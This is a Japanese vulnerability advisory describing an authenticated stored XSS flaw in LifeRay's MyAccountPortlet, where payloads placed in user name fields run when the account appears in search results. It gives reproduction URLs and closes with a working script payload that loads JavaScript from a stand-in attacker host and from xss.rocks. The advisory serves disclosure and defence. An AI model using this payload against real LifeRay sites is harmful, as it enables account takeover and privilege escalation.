
LifeRay 7.2.0 GA1のMyAccountPortlet経由の認証された保存型XSS - 検索結果により実行
LifeRay バージョン 7.1.0 から 7.2.1 GA2 において、ユーザーアカウントの名、ミドルネーム、姓フィールドはすべて保存型XSSの問題に対して脆弱です。任意のユーザーが特定のXSSペイロードを使用してこれらのフィールドを変更でき、データベースに保存されてユーザーを「感染」させます。その後、他のユーザーを検索するために検索機能を使用すると、ペイロードがレンダリングされます。感染したユーザーが検索結果に表示されると、XSSペイロードが実行されます。
この脆弱性により、攻撃者は検索経由でXSSペイロードをトリガーする任意のユーザーのコンテキストで任意のコードを実行できます。実用上、これは非特権ユーザーから管理者ユーザーへの権限昇格や、他のアカウントを乗っ取る水平移動につながる可能性があります。さらに、JavaScriptで実行可能なものはすべて、別のユーザーのコンテキストで悪用される可能性があります。
概念実証(PoC)でわかるように、デフォルトのコンテキストでは攻撃者が外部スクリプトを簡単に読み込めるため、非常に広範囲に影響があります。
重要なセッションCookieのほとんどはHTTPOnlyフラグが設定されており、単純なセッションハイジャック手法はほとんど防止されています。ただし、古いブラウザでページを表示しているユーザーは、XST攻撃によりさらに影響を受けることに注意してください。
管理者ユーザーはGogo ShellやGroovy Scriptコマンドを実行できるため、通常の意図された機能とこのエクスプロイトを連鎖させ、非特権ユーザーからホストシステム上で意図しないRCEを獲得することも可能かもしれません。
この脆弱性がトリガーされるには、2つの条件が満たされる必要があります。
これらの条件が満たされると、以下の手順で脆弱性を悪用できます。
アカウント設定 セクションに移動
アカウント設定 をクリックhttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????保存 をクリックhttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive に移動し、右側の「三点リーダー」アイコンをクリックして 参加 を選択することでサイトに参加できます。http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>レポートバージョン 4.0